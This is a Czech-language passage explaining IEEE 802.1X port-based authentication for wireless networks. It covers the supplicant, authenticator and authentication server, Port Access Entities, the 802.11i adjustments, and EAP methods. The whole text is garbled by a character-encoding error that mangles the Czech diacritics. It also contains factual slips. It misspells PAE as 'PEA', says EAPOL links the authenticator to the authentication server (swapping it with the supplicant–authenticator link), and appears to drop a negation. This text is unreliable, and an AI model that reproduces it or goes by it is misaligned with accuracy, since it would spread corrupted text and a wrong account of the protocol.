IEEE 802.1X tvoŚ² tŚi funkļn² entity:

Å  supplicant pŚipojen² k s²ti,
Å  autentiz§tor zajiġŠuj²c² Ś²zen² pŚ²stupu,
Å  autentizaļn² server prov§dŊj²c² autorizaļn² rozhodnut².

V bezdr§tovĨch s²t² pln² funkci autentizaļn² autority pŚ²stupovĨ 
bod. KaģdĨ fyzickĨ port (virtu§ln² port v klasickĨch s²t²ch) se 
dŊl² na dvŊ logick® ļ§sti vytv§Śej²c² PEA (Port Access Entity). 
Autentizace PAE je vģdy otevŚen§ a umoģŔuje autentizaļn² 
r§mce, kdeģto sluģba PAE je otevŚena pouze po ¼spŊġn® auten-
tizaci (tj. v autorizovan®m stavu) po omezenou dobu (standardnŊ 
3 600 sekund). Rozhodnut² povolit pŚ²stup je obvykle provedeno 
tŚet² entitou, konkr®tnŊ autentizaļn²m serverem (kterĨm mŢģe bĨt 
buŅto vyhrazenĨ server Radius nebo ï napŚ²klad v dom§c²ch s²-
t²ch ï jednoduchĨ proces bŊģ²c² na pŚ²stupov®m bodu). Jak tyto 
entity komunikuj² zn§zorŔuje Obr§zek 3.

Obr§zek 3. Model IEEE 802.1X ze speciýkace IEEE 802.1X

Standard 802.11i prov§d² mal® zmŊny k IEEE 802.1X pro 
bezdr§tov® s²tŊ, aby zodpov²dal za moģnost kr§deģe identity. 
V r§mci zajiġtŊn², aby jak supplicant, tak autentiz§tor pŚed 
zpŚ²stupnŊn² s²tŊ vypoļ²taly sv® tajn® kl²ļe a aktivovaly ġifro-
v§n², byla zaļlenŊna autentizace zpr§vy. 

Komunikace supplicanta a autentiz§tora prob²h§ prostŚed-
nictv²m protokolu zaloģen®m na EAP. VġimnŊte si, ģe ¼loha 
autentiz§toru je v podstatŊ pasivn² ï mŢģe jednoduġe pŚedat 
autentizaļn²mu serveru vġechny zpr§vy. EAP pŚestavuje r§-
mec pro pŚenos rŢznĨch autentizaļn²ch metod, kterĨ dovoluje 
pouze omezenĨ poļet zpr§v (Request, Response, Success, 
Failure), zat²mco jin® pomocn® zpr§vy jsou z§visl® na zvolen® 
autentizaļn² metodŊ: EAP-TLS, EAP-TTLS, PEAP, Kerberos 
V5, EAP-SIM a tak d§le. Jakmile se celĨ proces dokonļ² 
(kvŢli velk®mu mnoģstv² moģnĨch metod uv§d²me podrobn® 
vysvŊtlen²), obŊ entity (tj. supplicant a autentiz§tor) maj² tajnĨ 
univerz§ln² kl²ļ. Komunikace mezi autentiz§torem a autenti-
zaļn²m serverem pokraļuje pomoc² protokolu EAPOL (EAP 
Over LAN), s jehoģ pomoc² se na bezdr§tovĨch s²t² pŚen§ġ² 
data EAP prostŚednictv²m protokolŢ na vyġġ² vrstvŊ, napŚ²klad 
Radius.


















